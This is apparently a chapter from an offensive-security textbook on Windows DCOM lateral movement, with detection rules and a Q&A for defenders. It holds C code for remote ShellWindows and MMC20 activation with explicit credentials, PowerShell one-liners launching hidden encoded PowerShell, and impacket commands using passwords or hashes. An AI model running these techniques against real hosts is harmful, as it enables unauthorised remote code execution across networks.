Chapter 120

Lateral Movement via DCOM

Abusing Windows Distributed COM objects for lateral movement: ShellWindows.ShellExecute, MMC20.Application.ExecuteShellCommand, Office COM automation, remote activation with explicit credentials, and DCOM-based shellcode delivery

Scenario

Your compromised host can reach the target over TCP/135 and dynamic high ports, but TCP/445 (SMB) is firewalled. You can't use PsExec, service installation, or SMB-based named pipe delivery. However, DCOM is available — the target is a workstation with a logged-in user, and the ShellWindows DCOM object is registered and accessible. You use CoCreateInstanceEx with explicit credentials to instantiate ShellWindows remotely, call ShellExecute on it to run a PowerShell download-and-execute stager, and migrate your beacon without ever touching SMB. From a network perspective: the traffic looks like normal inter-host COM activation, indistinguishable from legitimate enterprise software.

DCOM Architecture

DCOM (Distributed COM) = COM over network via OXID/RPC Client Server ────────────────────────────────────────────────────── CoCreateInstanceEx(CLSID, host) → TCP/135 (RPC Endpoint Mapper): "where is CLSID X?" → EPM returns: dynamic port (e.g., 57211) → TCP/: Activation request → Server creates COM object in target process → Returns interface pointer (IUnknown marshal) Client holds IDispatch/IUnknown proxy → Method calls via DCOM RPC on the same dynamic port Authentication: NTLM or Kerberos CoSetProxyBlanket sets auth level + credentials Use COAUTHIDENTITY to supply explicit user/password/domain Process host for DCOM objects: If DCOM object runs as "Launching User": new process runs as calling user's identity If "LocalSystem": object runs as SYSTEM Lateral move exploits: object runs in user session on target (inherits interactive session) Key DCOM CLSIDs for lateral movement: ShellWindows: {9BA05972-F6A8-11CF-A442-00A0C90A8F39} ShellBrowserWindow: {C08AFD90-F2A1-11D1-8455-00A0C91F3880} MMC20.Application: {49B2791A-B1AE-4C90-9B8E-E860BA07F889} Outlook.Application: {0006F03A-0000-0000-C000-000000000046}

High-Value DCOM Objects for Lateral Movement

DCOM ObjectExecute MethodExec ContextPrerequisites
ShellWindows (9BA05972)ShellExecute on existing windowTarget's logged-in userUser must be logged in interactively
ShellBrowserWindow (C08AFD90)Same: ShellExecute via Document.ApplicationTarget user sessionUser must be logged in
MMC20.Application (49B2791A)ExecuteShellCommand(cmd, dir, params, windowState)ActiveX user contextAdmin required; works without interactive session
Excel.ApplicationDDEInitiate + Run() macrosOffice COM hostOffice installed on target
Visio.ApplicationDocuments.Add + run macroUser contextVisio installed
Activeds.DSSearchN/A — LDAP recon via COMCaller's contextDomain-joined only

ShellWindows — Live User Session Execution

// ShellWindows DCOM lateral movement
// Requires: admin creds + user logged in interactively on target
// Executes as the logged-in user (not SYSTEM)
// Discovered by Matt Nelson (@enigma0x3) 2017

#include <comdef.h>
#include <shlobj.h>  // IShellWindows, IWebBrowserApp

BOOL ShellWindowsExec(const wchar_t* target, const wchar_t* user,
                      const wchar_t* domain, const wchar_t* password,
                      const wchar_t* command) {
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    // Set up authentication identity for remote activation
    COAUTHIDENTITY authId = {0};
    authId.User           = (USHORT*)user;
    authId.UserLength     = (ULONG)wcslen(user);
    authId.Domain         = (USHORT*)domain;
    authId.DomainLength   = (ULONG)wcslen(domain);
    authId.Password       = (USHORT*)password;
    authId.PasswordLength = (ULONG)wcslen(password);
    authId.Flags          = SEC_WINNT_AUTH_IDENTITY_UNICODE;

    COAUTHINFO authInfo = {0};
    authInfo.dwAuthnSvc     = RPC_C_AUTHN_WINNT;
    authInfo.dwAuthzSvc     = RPC_C_AUTHZ_NONE;
    authInfo.pwszServerPrincName = NULL;
    authInfo.dwAuthnLevel   = RPC_C_AUTHN_LEVEL_PKT;
    authInfo.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
    authInfo.pAuthIdentityData = &authId;
    authInfo.dwCapabilities = EOAC_NONE;

    COSERVERINFO serverInfo = {0};
    serverInfo.pwszName = (LPWSTR)target;
    serverInfo.pAuthInfo = &authInfo;

    // Activate ShellWindows on remote host
    CLSID clsidShellWindows = {0x9BA05972, 0xF6A8, 0x11CF,
                               {0xA4,0x42,0x00,0xA0,0xC9,0x0A,0x8F,0x39}};

    MULTI_QI mqi = { &IID_IDispatch, NULL, S_OK };
    HRESULT hr = CoCreateInstanceEx(clsidShellWindows, NULL,
                                     CLSCTX_REMOTE_SERVER,
                                     &serverInfo, 1, &mqi);
    if (FAILED(hr) || FAILED(mqi.hr)) {
        wprintf(L"[-] CoCreateInstanceEx failed: %08X\n", hr);
        return FALSE;
    }

    // Set auth on the proxy
    CoSetProxyBlanket(mqi.pItf, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
                      RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE,
                      &authId, EOAC_NONE);

    IDispatch* pShellWin = (IDispatch*)mqi.pItf;

    // Get first ShellWindow item (index 0) → IWebBrowserApp
    VARIANT vIdx; VariantInit(&vIdx); vIdx.vt = VT_I4; vIdx.lVal = 0;
    VARIANT vItem; VariantInit(&vItem);
    DISPPARAMS dp = {&vIdx, NULL, 1, 0};
    pShellWin->Invoke(/* DISPID_VALUE */ 0, IID_NULL, LOCALE_SYSTEM_DEFAULT,
                      DISPATCH_METHOD, &dp, &vItem, NULL, NULL);
    pShellWin->Release();

    if (vItem.vt != VT_DISPATCH) return FALSE;
    IDispatch* pWB = vItem.pdispVal;

    // Call pWB.Document.Application.ShellExecute(command)
    // (abbreviated — full IDISPATCH marshaling for nested property chain)
    IDispatch_ShellExecute(pWB, command);  // conceptual — real impl requires DISPID lookup

    pWB->Release();
    CoUninitialize();
    return TRUE;
}

MMC20.Application — No Interactive Session Required

// MMC20.Application DCOM — works when no user is logged in interactively
// ExecuteShellCommand runs as the user associated with the MMC process
// Discovered by @enigma0x3 2017

BOOL MMCExec(const wchar_t* target, const wchar_t* user,
             const wchar_t* domain, const wchar_t* password,
             const wchar_t* command) {
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    COAUTHIDENTITY authId = {0};
    authId.User = (USHORT*)user; authId.UserLength = (ULONG)wcslen(user);
    authId.Domain = (USHORT*)domain; authId.DomainLength = (ULONG)wcslen(domain);
    authId.Password = (USHORT*)password; authId.PasswordLength = (ULONG)wcslen(password);
    authId.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;

    COAUTHINFO authInfo = {RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
                           RPC_C_AUTHN_LEVEL_PKT, RPC_C_IMP_LEVEL_IMPERSONATE,
                           &authId, EOAC_NONE};
    COSERVERINFO si = {0}; si.pwszName = (LPWSTR)target; si.pAuthInfo = &authInfo;

    // MMC20.Application CLSID: {49B2791A-B1AE-4C90-9B8E-E860BA07F889}
    CLSID clsidMMC = {0x49B2791A, 0xB1AE, 0x4C90,
                      {0x9B,0x8E,0xE8,0x60,0xBA,0x07,0xF8,0x89}};
    MULTI_QI mqi = { &IID_IDispatch, NULL, S_OK };
    HRESULT hr = CoCreateInstanceEx(clsidMMC, NULL, CLSCTX_REMOTE_SERVER,
                                     &si, 1, &mqi);
    if (FAILED(hr)) return FALSE;

    IDispatch* pMMC = (IDispatch*)mqi.pItf;
    CoSetProxyBlanket(pMMC, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
                      RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE,
                      &authId, EOAC_NONE);

    // Get ActiveView property, then call ExecuteShellCommand
    // MMC20.Application.ActiveView.ExecuteShellCommand(Command, Directory, Parameters, WindowState)
    // command: "C:\Windows\System32\cmd.exe"
    // parameters: "/c powershell -enc "
    // windowState: "7" (hidden)
    DCOM_InvokeExecShellCommand(pMMC, command);  // DISPID chain: ActiveView → ExecuteShellCommand

    pMMC->Release();
    CoUninitialize();
    return TRUE;
}

PowerShell DCOM Lateral Move (Quick Reference)

# PowerShell — ShellWindows DCOM lateral move (from compromised host)

# ShellWindows (requires interactive user on target)
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Shell.Application", "TARGET01"))
$com.ShellExecute("cmd.exe", "/c powershell -enc ", "C:\Windows\System32", $null, 0)

# MMC20.Application (no interactive session needed)
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGET01"))
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\cmd.exe",
    $null, "/c powershell -enc ", "7")

# With explicit credentials (requires new credential token)
$cred = New-Object System.Net.NetworkCredential("user", "password", "domain")
# Or using runas to get a token, then use PSRemoting or WMI

# impacket dcomexec.py — one-liner from Linux:
dcomexec.py -object ShellWindows domain/user:password@TARGET01 "whoami"
dcomexec.py -object MMC20 -hashes :ntlmhash domain/user@TARGET01 "whoami"

Remote Activation Mechanics

CoCreateInstanceEx remote activation process: 1. Client calls CoCreateInstanceEx(CLSID, serverinfo, ...) 2. COM runtime contacts target via TCP/135 (RPC Endpoint Mapper) Request: "Where does this CLSID run? Is it registered?" 3. Target SCM (Service Control Manager): looks up CLSID in HKCR\CLSID Checks: AppID permissions (DCOM access/launch ACLs) 4. Target creates DCOM host process (or uses existing one) Process runs as: LaunchPermission account setting in DCOM config 5. Returns dynamic port to client 6. Client connects to dynamic port, RPC handshake 7. IUnknown marshal: sends interface proxy back to client 8. Client holds an interface pointer that proxies calls over RPC DCOM ACLs (the gate): HKLM\SOFTWARE\Classes\AppID\{AppID}\LaunchPermission HKLM\SOFTWARE\Classes\AppID\{AppID}\AccessPermission Machine-wide defaults: DCOMCNFG → My Computer properties For attackers: need "Remote Launch" and "Remote Activation" permissions → Usually requires local admin on target Domain admin inherently gets this on all machines

Detection Engineering

-- DCOM lateral movement detection signals:

-- 1. Process creation where parent is svchost.exe -k DcomLaunch (DCOM host)
--    or dllhost.exe (DCOM surrogate) spawning unexpected children

-- MDE KQL: DCOM child process anomaly
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("svchost.exe", "dllhost.exe")
| where InitiatingProcessCommandLine has_any ("DcomLaunch", "imgsvc")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","mshta.exe","cscript.exe","regsvr32.exe")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine

-- 2. Network DCOM signature: TCP/135 followed by dynamic high port to same dest
--    from same source process

-- Sigma: Remote DCOM activation anomaly
title: DCOM Lateral Movement — Suspicious Child Process
logsource:
  product: windows
  category: process_creation
detection:
  dcom_parent:
    ParentImage|endswith: '\svchost.exe'
    ParentCommandLine|contains: 'DcomLaunch'
  suspicious_child:
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\wscript.exe'
  condition: dcom_parent AND suspicious_child
falsepositives: SCCM, management software using COM automation
level: high

-- 3. Windows Event 4624 (Type 3 Network Logon) from unexpected source
--    preceding DCOM process creation on same host

-- 4. Network: two connections to same target host (135 then ephemeral)
--    within ~1 second, from same process — DCOM activation pattern

Q&A

Why does ShellWindows require an interactive user session but MMC20.Application does not?

ShellWindows is an ActiveX object that represents the collection of open Explorer shell windows in the current interactive desktop session. When you call CoCreateInstanceEx for ShellWindows on a remote host, the COM activation succeeds, but the returned ShellWindows object is empty (Item(0) fails) if no user has an Explorer window open — because there are no windows to enumerate. The method ShellExecute on a shell window object executes code in the context of the logged-in user's desktop session. This is powerful for user-context execution but requires someone to be logged in with an active Explorer session. MMC20.Application represents the Microsoft Management Console, which is a standalone COM server registered as a LocalServer32 (an out-of-process COM server — it runs in its own process, mmc.exe). When activated remotely, Windows spawns a new mmc.exe process on the target host. This process doesn't require an interactive desktop session — it can run in session 0 or in an RDP session. The spawned process's identity depends on the DCOM AppID permissions and the activation credentials, but it can run without any user having logged in interactively. The ExecuteShellCommand method on MMC20.Application's Document.ActiveView fires a shell command from within that mmc.exe process, creating a child process. This is the key advantage for server-side lateral movement where interactive users are absent.

How does DCOM lateral movement differ from WMI lateral movement at the protocol and detection level?

Both DCOM and WMI use RPC over TCP/135 (endpoint mapper) plus dynamic high ports. The difference is at the application layer. WMI lateral movement uses the WMI namespace (ROOT\CIMV2) and calls Win32_Process.Create() — processes spawned this way have WmiPrvSE.exe as their parent. WmiPrvSE.exe running cmd.exe or PowerShell is well-known and has specific Sigma rules. WMI also generates events in Microsoft-Windows-WMI-Activity/Operational (Event 5857-5861). DCOM lateral movement spawns processes parented by svchost.exe (DcomLaunch) or dllhost.exe (COM surrogate), not WmiPrvSE.exe. The parent process chain looks different: svchost → cmd.exe vs. WmiPrvSE → cmd.exe. Detection teams with rules for WmiPrvSE parent will miss DCOM. However, DCOM requires the target CLSID to be registered and accessible, and DCOM access/launch permissions must allow the caller — these requirements are checked against the DCOM AppID ACL. WMI doesn't have per-operation permission checks beyond the namespace DACL. In practice: WMI is more universally available (no per-CLSID permission check), while DCOM bypasses WMI-specific detection rules. Mature detection coverage requires rules for both WmiPrvSE.exe AND dllhost.exe/svchost-DcomLaunch as parents of unusual child processes.